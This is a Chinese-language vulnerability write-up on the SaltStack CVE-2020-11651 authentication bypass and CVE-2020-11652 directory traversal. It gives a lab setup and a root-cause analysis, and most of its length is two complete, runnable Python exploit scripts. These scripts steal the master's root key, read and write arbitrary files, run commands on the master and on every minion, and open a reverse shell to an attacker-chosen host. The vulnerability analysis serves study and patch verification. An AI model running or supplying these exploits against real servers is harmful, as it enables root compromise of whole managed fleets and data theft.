# Saltstack 远程命令执行漏洞 CVE-2020-11651 11652

# 漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

# 漏洞影响



# 环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/saltstack/CVE-2020-11652
docker-compose up -d
1
2
3

# 漏洞复现

salt-master普遍使用这两行代码进行认证,其中clear_load是可控输入点。

auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)
1
2

_prep_auth_info首先会识别clear_load输入的字段并选用其中之一作为认证方式,然后传参到check_authentication方法检验认证是否有效。

img

在第三种认证方式auth_type=='user'中,会由_prep_auth_info获取到系统opt的key,传递到check_authentication中和API参数中携带的key进行==比对。

理论上_prep_auth_info是不可被外部调用的,漏洞成因即是攻击者通过匿名API直接调用_prep_auth_info方法,在回显中拿到self.key,并在后续的请求中使用获取到的key过验证,以root权限执行高危指令。

Mworker daemon进程处理API请求:

class MWorker(salt.utils.process.SignalHandlingProcess):
    """
    The worker multiprocess instance to manage the backend operations for the
    salt master.
    """
1
2
3
4
5

其中handle_clear &* handle_aes 函数分别处理明文和加密指令:

img

在这里,self._clear_funcsclass ClearFuncs 的实例,在这里API访问者可以无认证调用任意的类函数。

class ClearFuncs(TransportMethods):
    """
    Set up functions that are safe to execute when commands sent to the master
    without encryption and authentication
    """
1
2
3
4
5

ClearFuncs._prep_auth_info()将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key,然后通过认证接口下发shell指令。

之前存在漏洞的代码中仅过滤掉__开头的private方法,导致_prep_auth_info泄露,patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤:

img

Github POC 地址: https://github.com/jasperla/CVE-2020-11651-poc

img

读取文件 /etc/passwd

img

反弹shell(这里使用另一个POC)

GitHub地址: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP/blob/master/CVE-2020-11651.py

img

# 漏洞利用POC

下载地址 (opens new window)

# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime

import salt
import salt.version
import salt.transport.client
import salt.exceptions

DEBUG = False


def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')


def check_salt_version():
    print("[+] Salt 版本: {}".format(salt.version.__version__))

    vi = salt.version.__version_info__

    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
        return True
    else:
        return False


def check_connection(master_ip, master_port, channel):
    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
    sys.stdout.flush()
    try:
        channel.send({'cmd': 'ping'}, timeout=2)
        print('\033[1;32m可以连接\033[0m')
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;31m无法连接\033[0m")
        sys.exit(1)


def check_CVE_2020_11651(channel):
    sys.stdout.flush()
    # try to evil
    try:
        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;32m不存在漏洞\033[0m")
    except:
        print("\033[1;32m未知错误\033[0m")
        raise
    else:
        pass
    finally:
        if rets:
            root_key = rets[2]['root']
            print("\033[1;31m存在漏洞\033[0m")
            return root_key

    return None


def pwn_read_file(channel, root_key, path, master_ip):
    # print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])



def pwn_getshell(channel, root_key, LHOST, LPORT):
    msg = {"key": root_key,
           "cmd": "runner",
           'fun': 'salt.cmd',
           "kwarg": {
               "fun": "cmd.exec_code",
               "lang": "python3",
               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
                   LHOST, LPORT)
           },
           'jid': '20200504042611133934',
           'user': 'sudo_user',
           '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = channel.send(msg, timeout=3)
        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
        return True
    except:
        print("something failed")
        return False


def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
    if master_or_minions == "master":
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}

        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False

    if master_or_minions == "minions":
        print("Sending command to all minions on master")
        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
        cmd = "/bin/sh -c '{0}'".format(exec_cmd)

        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
               "user": "root", "jid": jid}

        try:
            response = channel.send(msg, timeout=3)
            if response == None:
                return True
            else:
                return False
        except:
            return False


#####################################

master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
    root_key = check_CVE_2020_11651(channel)
except:
    pass
while master_ip!='':
    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')

    whattype=input('请选择:')
    if whattype=='1':
        check_salt_version()  # 检查salt版本
        check_connection(master_ip, master_port, channel)  # 检查连接
        root_key = check_CVE_2020_11651(channel)  # 读取root key
        print(root_key)
    elif whattype=='2':
        path = input('读取路径:')
        try:
            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
        except:
            print('文件不存在')
    elif whattype=='3':
        print('1.master   2.minions')
        exectype = input('选择方式:')
        if exectype=='1':
            master_or_minions='master'
        elif exectype=='2':
            master_or_minions = 'minions'
        exec_cmd = input('输入命令:')
        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
    elif whattype=='4':
        LHOST = input('反弹到IP:')
        LPORT = input('反弹端口:')
        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
    elif whattype=='5':
        exit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195

下载地址 (opens new window)

#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

# --- check funcs ----

def check_connection(master_ip, master_port, channel):
  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
  sys.stdout.flush()

  # connection check
  try:
    channel.send({'cmd':'ping'}, timeout=2)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651(channel):
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
  sys.stdout.flush()

  try:
    rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
  except:
    print('ERROR')
    return None
  else:
    pass
  finally:
    if rets:
      print('YES')
      root_key = rets[2]['root']
      return root_key

  print('NO')
  return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    print("NO")
  
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)

    pp(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
  sys.stdout.flush()

  # try read file
  msg = {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
    'saltenv': 'base',
  }

  try:
    rets = channel.send(msg, timeout=3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652.conf')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
    print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
    sys.stdout.flush()

    try:
        fh = open(src, 'rb')
        payload = fh.read()
        fh.close()
    except Exception as e:
        print('[-] Failed to read {}: {}'.format(src, e))
        return

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'saltenv': 'base',
        'data': payload,
        'path': dest,
    }

    rets = channel.send(msg, timeout=3)
    print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
        },
        'jid': jid,
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return

    if rets.get('jid'):
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': '_send_pub',
        'fun': 'cmd.run',
        'user': 'root',
        'arg': [ "/bin/sh -c '{}'".format(cmd) ],
        'tgt': '*',
        'tgt_type': 'glob',
        'ret': '',
        'jid': jid
    }

    try:
        rets = channel.send(msg, timeout=3)
    except Exception as e:
        print('[-] Failed to submit job')
        return
    finally:
        if rets == None:
            print('[+] Successfully submitted job to all minions.')
        else:
            print('[-] Failed to submit job')


def main():
    parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
    parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
    parser.add_argument('--port', '-p', dest='master_port', default='4506')
    parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
    parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
    parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
    parser.add_argument('--read', '-r', dest='read_file')
    parser.add_argument('--upload-src', dest='upload_src')
    parser.add_argument('--upload-dest', dest='upload_dest')
    parser.add_argument('--exec', dest='exec', help='Run a command on the master')
    parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
    args = parser.parse_args()

    print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
    time.sleep(1)

    # Both src and destination are required for uploads
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
        print('[-] Must provide both --upload-src and --upload-dest')
        sys.exit(1)

    channel = init_minion(args.master_ip, args.master_port)

    check_connection(args.master_ip, args.master_port, channel)
    
    root_key = check_CVE_2020_11651(channel)
    if root_key:
        print('[*] root key obtained: {}'.format(root_key))
    else:
        print('[-] Failed to find root key...aborting')
        sys.exit(127)

    if args.run_checks:
        # Assuming this check runs on the master itself, create a file with "secret" content
        # and abuse CVE-2020-11652 to read it.
        top_secret_file_path = '/tmp/salt_cve_teta'
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:
            fd.write("top secret")

        # Again, this assumes we're running this check on the master itself
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
            root_key = keyfd.read()

        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
        check_CVE_2020_11652_write1(debug, channel, root_key)
        check_CVE_2020_11652_write2(debug, channel, root_key)
        os.remove(top_secret_file_path)
        sys.exit(0)

    if args.read_file:
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)

    if args.upload_src:
        if os.path.isabs(args.upload_dest):
            print('[-] Destination path must be relative; aborting')
            sys.exit(1)
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)


    jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

    if args.exec:
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

    if args.exec_all:
        print("[!] Lester, is this what you want? Hit ^C to abort.")
        time.sleep(2)
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ == '__main__':
    main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363

# 参考文章

https://www.cdxy.me/?p=822